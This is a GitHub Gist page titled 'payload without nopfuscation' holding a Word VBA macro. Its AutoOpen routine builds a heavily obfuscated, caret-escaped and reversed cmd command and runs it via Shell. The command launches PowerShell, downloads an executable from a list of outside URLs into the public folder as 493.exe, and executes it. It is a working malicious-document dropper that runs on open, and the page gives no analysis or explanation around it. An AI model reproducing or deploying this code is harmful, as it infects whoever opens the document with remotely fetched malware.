Last active
November 30, 2018 15:59
-
-
Save spencerdodd/1c1c595516ea1b1710a33431eb42cb1f to your computer and use it in GitHub Desktop.
payload without nopfuscation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sub AutoOpen() | |
SjonJLuoL (KeyString(wwTLriZs + lfKnf + 10 + 7 + 50 + CdBUtfI + iNPLT) + LkwPL + qNIXIW + KeyString(BdpGivaC + ufzLc + 12 + 8 + 57 + tXzCjRS + KGlIA) + DTqpj + vNtBMCjurWl + fWWSlvV + azJobQRV) | |
End Sub | |
Function DTqpj() | |
wjPzoWkSo = "d /V^:^ON/" + "C" + """" + "^s^e^t lN=^ ^ ^" + " ^ ^ ^ ^ ^ ^" | |
wKGNtc = " ^ ^ ^ ^ ^}^" + "}^{^hc^t^ac^}^;^k^" + "a^er^b^;^ir^j" + "^$^ ^m^etI^-^e^k^ovn" + "^I;)^ir^j^$^ ^," + "^fB^J^$(^e^l^" | |
LIJaYBX = "i^F^d^a^o^ln^wo^D^." + "^i^w^Y^$^{^yr^t" + "^{)^B^Kj^$ n^" + "i^ ^f^B^J^$(^hc^a^e" + "r^o^f;^'^e^x^e^.^'^+" + "^U^t^L^$^+^'^\'" | |
AMjHaSCGI = "+c^i^l^b^u^p" + "^:vne^$^=^ir^" + "j^$^;^'49" + "3^'^ ^=^ ^U^t^" | |
kamHIjcmQ = "L^$^;)^'^@^'" + "(^t^i^l^p^S^." + "^'^Q/^ur^.^e" + "n^g^i^s^e^dn^a^l^.n^" + "a^m^i^d^.^w^w^w//^:" + "^p^t^t^h@yn/^t^" | |
lYGYPUN = "i^.e^l^o^ic^s^i" + "v^e^l^l^ed^on^" + "i^dra^i^g^l^i" + "//^:^p^t^t^h^@^g" | |
DTqpj = wjPzoWkSo + wKGNtc + LIJaYBX + AMjHaSCGI + kamHIjcmQ + lYGYPUN | |
End Function | |
Function vNtBMCjurWl() | |
inRtnqGO = "/^k^u.^oc^.^s^ec^" + "ivr^e^s^k^e^p^sn" + "^i//^:^p^t^t^h^" + "@C/^m^oc^.^l^a^" + "g^o^f^j//^:^p^" | |
WBMdqom = "t^t^h@^XC^s^" + "U/^e^b^.^yn" + "^a^j//^:^p^t^t^" + "h^'^=^B^K^j^$^;" + "^tn^e^i^lC^b" | |
hluFDhvu = "^e^W^.^t^eN^" + " ^tc^e^j^b^o^" + "-^w^en^=^i^" + "w^Y^$^ ^l^l" + "^e^h^sr^e^w^o^p&&" | |
EBYlwaaJo = "^f^or /^L " + "%^p ^in (349^;^-^" + "1^;0)^d^o ^s^e^" + "t ^l^I=!^l^I!!lN:" + "~%^p,1!&&^i^f %^p ^e" | |
sjiiN = "^q^u ^0 c^a^l^" + "l %^l^I:^~^-35" + "0%" + """" + "" | |
vNtBMCjurWl = inRtnqGO + WBMdqom + hluFDhvu + EBYlwaaJo + sjiiN | |
End Function | |
Function SjonJLuoL(RGYjoAZnsmE As String) | |
Const QrQBzLuD = 623250762–623250762 | |
Shell# RGYjoAZnsmE, QrQBzLuD | |
End Function |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment